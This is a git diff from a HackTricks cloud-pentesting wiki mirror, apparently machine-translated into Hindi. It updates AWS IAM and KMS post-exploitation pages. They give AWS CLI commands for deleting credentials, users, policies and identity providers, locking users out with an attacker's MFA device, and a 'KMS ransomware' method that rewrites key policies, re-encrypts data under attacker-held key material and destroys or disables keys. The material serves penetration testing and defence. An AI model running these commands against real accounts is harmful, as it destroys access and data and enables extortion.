mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 04:41:55 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM एक्सेस के बारे में अधिक जानकारी के लिए:
|
||||
For more information about IAM access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -12,15 +12,15 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
यदि आप **एक बाहरी खाता (A)** को अपने खाते में एक **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**।
|
||||
यदि आप किसी **external account (A)** को अपने account में किसी **role** तक access करने की अनुमति देते हैं, तो आपके पास शायद यह देखने के लिए **0 visibility** होगी कि वास्तव में कौन उस external account को access कर सकता है। यह समस्या इसीलिए है क्योंकि अगर कोई अन्य external account (B) external account (A) को access कर सकता है तो सम्भव है कि **B भी आपके account को access कर सके**।
|
||||
|
||||
इसलिए, जब आप एक बाहरी खाते को अपने खाते में एक भूमिका तक पहुँचने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "गुप्त" स्ट्रिंग है जिसे बाहरी खाते (A) को **आपके संगठन में भूमिका ग्रहण करने के लिए निर्दिष्ट करना आवश्यक है**। चूंकि **बाहरी खाता B इस स्ट्रिंग को नहीं जानता**, भले ही उसके पास A पर पहुँच हो, वह **आपकी भूमिका तक पहुँच नहीं सकेगा**।
|
||||
इसलिए, जब आप किसी external account को अपने account में किसी role तक access देने देते हैं तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" string है जिसे external account (A) को आपके संगठन में **assume the role in your organization** करने के लिए **need to specify** करना होता है। चूँकि **external account B won't know this string**, भले ही उसके पास A पर access हो, वह तब भी **won't be able to access your role**।
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
हालांकि, ध्यान दें कि यह `ExternalId` "गुप्त" **गुप्त नहीं है**, कोई भी जो **IAM भूमिका ग्रहण नीति को पढ़ सकता है, उसे देख सकेगा**। लेकिन जब तक बाहरी खाता A इसे जानता है, लेकिन बाहरी खाता **B इसे नहीं जानता**, यह **B को A का दुरुपयोग करके आपकी भूमिका तक पहुँचने से रोकता है**।
|
||||
हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **not a secret** है — जो भी व्यक्ति **read the IAM assume role policy will be able to see it** वह इसे देख सकेगा। लेकिन जब तक external account A इसे जानता है और external account **B doesn't know it**, तब तक यह **prevents B abusing A to access your role**।
|
||||
|
||||
उदाहरण:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -39,11 +39,11 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> एक हमलावर को एक भ्रमित डिप्टी का लाभ उठाने के लिए यह पता लगाना होगा कि क्या वर्तमान खाते के प्रिंसिपल अन्य खातों में भूमिकाओं का अनुकरण कर सकते हैं।
|
||||
> किसी attacker के लिए confused deputy का फायदा उठाने हेतु उसे किसी तरह यह पता लगाना होगा कि current account के principals other accounts में roles की impersonate कर सकते हैं या नहीं।
|
||||
|
||||
### अप्रत्याशित ट्रस्ट
|
||||
### अनपेक्षित Trusts
|
||||
|
||||
#### प्रिंसिपल के रूप में वाइल्डकार्ड
|
||||
#### Wildcard को principal के रूप में
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,9 +51,9 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
यह नीति **सभी AWS** को भूमिका ग्रहण करने की अनुमति देती है।
|
||||
यह पॉलिसी **सभी AWS को अनुमति देती है** कि वे भूमिका ग्रहण कर सकें।
|
||||
|
||||
#### सेवा के रूप में प्रमुख
|
||||
#### प्रिंसिपल के रूप में सेवा
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,9 +62,9 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
यह नीति **किसी भी खाते** को अपने apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है।
|
||||
यह नीति **किसी भी खाते** को उनके apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है।
|
||||
|
||||
#### S3 को प्रमुख के रूप में
|
||||
#### S3 को प्रिंसिपल के रूप में
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
}
|
||||
}
|
||||
```
|
||||
यदि एक S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं।
|
||||
यदि किसी S3 bucket को principal के रूप में दिया गया है, क्योंकि S3 buckets का Account ID नहीं होता, तो यदि आपने **deleted your bucket and the attacker created** it in their own account, तो वे इसका दुरुपयोग कर सकते हैं।
|
||||
|
||||
#### समर्थित नहीं
|
||||
```json
|
||||
@@ -84,9 +84,82 @@ IAM एक्सेस के बारे में अधिक जानक
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Confused Deputy समस्याओं से बचने का एक सामान्य तरीका `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (जैसे कि कुछ स्रोतों के अनुसार CloudTrail)।
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **कुछ सेवाएँ इसका समर्थन नहीं कर सकतीं** (कुछ स्रोतों के अनुसार जैसे CloudTrail)।
|
||||
|
||||
## References
|
||||
### क्रेडेंशियल हटाना
|
||||
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — एक व्यक्ति access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates या CloudFront public keys को हटाकर या instance profiles से roles को disassociate करके प्रभाव डाल सकता है। ऐसे कार्य तुरंत वैध उपयोगकर्ताओं और एप्लिकेशनों को ब्लॉक कर सकते हैं और उन प्रणालियों के लिए denial-of-service या पहुँच खोने का कारण बन सकते हैं जो उन क्रेडेंशियल पर निर्भर हैं, इसलिए इन IAM permissions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### पहचान हटाना
|
||||
जैसे `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, या `iam:RemoveUserFromGroup` जैसी अनुमतियों के साथ, कोई कर्ता उपयोगकर्ताओं, रोल्स, या समूहों को हटा सकता है—या समूह सदस्यता बदल सकता है—जिससे पहचानें और संबंधित प्रमाण हट जाते हैं। इससे उन लोगों और सेवाओं के लिए तुरंत पहुँच टूट सकती है जो उन पहचानों पर निर्भर हैं, जिससे denial-of-service या पहुँच खोने की स्थिति हो सकती है, इसलिए इन IAM क्रियाओं को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
निम्नलिखित अनुमतियों में से किसी एक — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — के साथ कोई भी कर्ता managed/inline policies को delete या detach कर सकता है, policy versions या permissions boundaries को हटा सकता है, और users, groups, या roles से policies को unlink कर सकता है। यह authorizations को नष्ट कर देता है और permissions model को बदल सकता है, जिससे उन principals के लिए जिन्हें उन policies पर निर्भरता थी तुरंत access खोना या denial-of-service हो सकता है, इसलिए इन IAM actions को कड़ाई से सीमित और मॉनिटर किया जाना चाहिए।
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### फेडरेटेड पहचान हटाना
|
||||
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, और `iam:RemoveClientIDFromOpenIDConnectProvider` के साथ, कोई व्यक्ति OIDC/SAML पहचान प्रदाताओं को हटा सकता है या क्लाइंट IDs निकाल सकता है। यह फेडरेटेड प्रमाणीकरण को बाधित कर देता है, टोकन सत्यापन को रोकता है और SSO पर निर्भर उपयोगकर्ताओं और सेवाओं की पहुँच को तुरंत नकार देता है जब तक कि IdP या कॉन्फ़िगरेशन पुनर्स्थापित नहीं किए जाते।
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### अनधिकृत MFA सक्रियकरण
|
||||
With `iam:EnableMFADevice`, कोई हमलावर किसी उपयोगकर्ता की पहचान पर एक MFA device पंजीकृत कर सकता है, जिससे वैध उपयोगकर्ता साइन-इन नहीं कर पाएगा। एक बार अनधिकृत MFA सक्षम हो जाने पर उपयोगकर्ता तब तक लॉक आउट हो सकता है जब तक वह MFA device हटाया या रीसेट न किया जाए (नोट: यदि कई MFA devices पंजीकृत हैं, तो साइन-इन के लिए केवल एक पर्याप्त होता है, इसलिए यह हमला पहुँच रोकने पर प्रभावी नहीं होगा)।
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
`iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` के साथ, एक हमलावर सार्वजनिक कुंजियों और प्रमाणपत्रों की स्थिति या मेटाडेटा बदल सकता है। कुंजियों/प्रमाणपत्रों को निष्क्रिय चिह्नित करके या संदर्भों में परिवर्तन करके वे SSH authentication तोड़ सकते हैं, X.509/TLS validations अमान्य कर सकते हैं, और उन सेवाओं को तुरंत बाधित कर सकते हैं जो उन क्रेडेंशियल्स पर निर्भर हैं, जिससे पहुंच या उपलब्धता खो सकती है।
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - KMS पोस्ट एक्सप्लॉइटेशन
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,17 @@
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### जानकारी एन्क्रिप्ट/डिक्रिप्ट करें
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` और `file://` AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग किए जाने वाले URI स्कीम हैं:
|
||||
`fileb://` और `file://` वे URI schemes हैं जो AWS CLI commands में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग होते हैं:
|
||||
|
||||
- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, जो आमतौर पर गैर-टेक्स्ट फ़ाइलों के लिए उपयोग किया जाता है।
|
||||
- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्ट, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं।
|
||||
- `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, आमतौर पर गैर-पाठ फ़ाइलों के लिए उपयोग होता है।
|
||||
- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, सामान्यतः सादा पाठ फ़ाइलों, स्क्रिप्ट्स, या JSON के लिए उपयोग होता है जिनमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होतीं।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि base64 एन्कोडेड डेटा। (fileb://)
|
||||
> ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को decrypt करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, base64-encoded डेटा नहीं। (fileb://)
|
||||
|
||||
- एक **संपूर्ण** कुंजी का उपयोग करना
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- एक **asymmetric** कुंजी का उपयोग करना:
|
||||
- एक **asymmetric** key का उपयोग:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त पहुंच है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है।
|
||||
यदि किसी attacker के पास KMS पर privileged access हो तो वह keys की KMS policy को बदल सकता है और **grant his account access over them**, जिससे legit account को दिया गया access हटा दिया जाता है।
|
||||
|
||||
फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर पाएंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैंसमवेयर बन जाएगा।
|
||||
फिर, legit account के users उन किसी भी service की कोई भी information तक access नहीं कर पाएंगे जो उन keys से encrypted की गई है, और इससे account पर एक सरल परंतु प्रभावी ransomware बन जाएगा।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं**, केवल **ग्राहक प्रबंधित कुंजियाँ**।
|
||||
> ध्यान दें कि **AWS managed keys aren't affected** इस हमले से प्रभावित नहीं होते; केवल **Customer managed keys** प्रभावित होते हैं।
|
||||
|
||||
> यह भी ध्यान दें कि पैरामीटर **`--bypass-policy-lockout-safety-check`** का उपयोग करने की आवश्यकता है (वेब कंसोल में इस विकल्प की कमी इस हमले को केवल CLI से संभव बनाती है)।
|
||||
> साथ ही ध्यान दें कि पैरामीटर **`--bypass-policy-lockout-safety-check`** का उपयोग आवश्यक है (वेब कंसोल में इस विकल्प की अनुपस्थिति के कारण यह हमला केवल CLI से ही संभव है)।
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,34 +92,93 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को एक्सेस देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को एक्सेस वापस दिया जा सके, तो आप ऐसा नहीं कर पाएंगे क्योंकि Put Policy क्रिया क्रॉस खाते से नहीं की जा सकती**।
|
||||
> ध्यान दें कि अगर आप उस policy को बदलकर केवल किसी external account को access देते हैं, और फिर उसी external account से आप original account को access वापस देने के लिए नई policy सेट करने की कोशिश करते हैं, तो आप ऐसा नहीं कर पाएंगे क्योंकि **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**।
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### सामान्य KMS Ransomware
|
||||
|
||||
#### Global KMS Ransomware
|
||||
ग्लोबल KMS Ransomware को अंजाम देने का एक और तरीका है, जिसमें निम्नलिखित कदम शामिल होंगे:
|
||||
|
||||
एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:
|
||||
- Attacker द्वारा import किए गए key material के साथ एक नया **key** बनाना
|
||||
- पीड़ित के पुराने डेटा को, जो पिछले version से encrypted था, नए key से **re-encrypt** करना
|
||||
- **Delete the KMS key**
|
||||
- अब केवल attacker, जिसके पास original key material है, encrypted डेटा को डिक्रिप्ट कर सकेगा
|
||||
|
||||
- एक नया **की बनाएं जिसमें हमलावर द्वारा आयातित की सामग्री हो**
|
||||
- **पुराने डेटा को फिर से एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।
|
||||
- **KMS की को हटाएं**
|
||||
- अब केवल हमलावर, जिसके पास मूल की सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकेगा
|
||||
### kms:DeleteImportedKeyMaterial के माध्यम से कुंजियाँ हटाना
|
||||
|
||||
### Destroy keys
|
||||
`kms:DeleteImportedKeyMaterial` permission के साथ, एक actor CMKs जिनका `Origin=EXTERNAL` है (ऐसी CMKs जिन्होंने अपना key material import किया हुआ है) से imported key material को हटा सकता है, जिससे वे डेटा को decrypt करने में असमर्थ हो जाती हैं। यह क्रिया विनाशकारी और अपरिवर्तनीय है जब तक compatible material पुनः-import न किया जाए, और यह attacker को प्रभावी रूप से ransomware-जैसा डेटा नुकसान पैदा करने की अनुमति देती है क्योंकि encrypted जानकारी स्थायी रूप से अनुपलब्ध हो जाती है।
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### कुंजियाँ नष्ट करना
|
||||
|
||||
कुंजियाँ नष्ट करने से DoS करना संभव है।
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि AWS अब **पिछले कार्यों को क्रॉस अकाउंट से किए जाने से रोकता है:**
|
||||
> ध्यान दें कि AWS अब **पिछली कार्रवाइयों को किसी क्रॉस-एकाउंट से किए जाने से रोकता है:**
|
||||
|
||||
### Alias बदलें या हटाएँ
|
||||
यह हमला AWS KMS aliases को हटा देता है या पुननिर्देशित कर देता है, जिससे key resolution टूट जाती है और उन किसी भी सेवाओं में तुरंत विफलताएँ होती हैं जो उन aliases पर निर्भर करती हैं — परिणामस्वरूप एक denial-of-service। `kms:DeleteAlias` या `kms:UpdateAlias` जैसी permissions होने पर attacker aliases को हटा या पुननिर्देशित कर सकता है और cryptographic operations (e.g., encrypt, describe) को बाधित कर सकता है। कोई भी service जो key ID के बजाय alias को संदर्भित करती है वह alias के बहाल होने या सही तरीके से remap किए जाने तक fail हो सकती है।
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
ऐसी अनुमतियाँ जैसे `kms:CancelKeyDeletion` और `kms:EnableKey` होने पर, एक हमलावर AWS KMS customer master key की अनुसूचित deletion को रद्द कर सकता है और बाद में उसे पुनः सक्षम कर सकता है। ऐसा करने से कुंजी (प्रारंभ में Disabled स्थिति में) पुनर्प्राप्त होती है और पहले से सुरक्षित डेटा को decrypt करने की इसकी क्षमता बहाल हो जाती है, जिससे exfiltration संभव हो जाता है।
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### कुंजी अक्षम करें
|
||||
`kms:DisableKey` permission के साथ, एक actor AWS KMS customer master key को disable कर सकता है, जिससे वह कुंजी encryption या decryption के लिए उपयोग नहीं की जा सकेगी। इससे उन किसी भी सेवाओं की पहुँच टूट सकती है जो उस CMK पर निर्भर हैं और कुंजी को पुनः सक्षम किए जाने तक तुरंत व्यवधान या denial-of-service हो सकता है।
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
`kms:DeriveSharedSecret` अनुमति के साथ, एक actor KMS-held private key और user-supplied public key का उपयोग करके ECDH shared secret निकाल सकता है।
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
`kms:Sign` permission के साथ, कोई actor KMS-stored CMK का उपयोग करके निजी कुंजी को उजागर किए बिना डेटा को क्रिप्टोग्राफ़िक रूप से साइन कर सकता है, जिससे मान्य सिग्नेचर बनते हैं जो impersonation या दुष्ट क्रियाओं को अधिकृत कर सकते हैं।
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, या `kms:UpdateCustomKeyStore` जैसे permissions होने पर, कोई actor एक AWS KMS Custom Key Store (CKS) को संशोधित, डिस्कनेक्ट, या delete कर सकता है, जिससे उसके master keys कार्यहीन हो जाते हैं।
|
||||
यह उन कुंजियों पर निर्भर किसी भी सेवाओं के encryption, decryption, और signing ऑपरेशंस को बाधित कर देता है और तुरंत denial-of-service का कारण बन सकता है।
|
||||
इसलिए उन अनुमतियों को सीमित करना और मॉनिटर करना अत्यंत महत्वपूर्ण है।
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user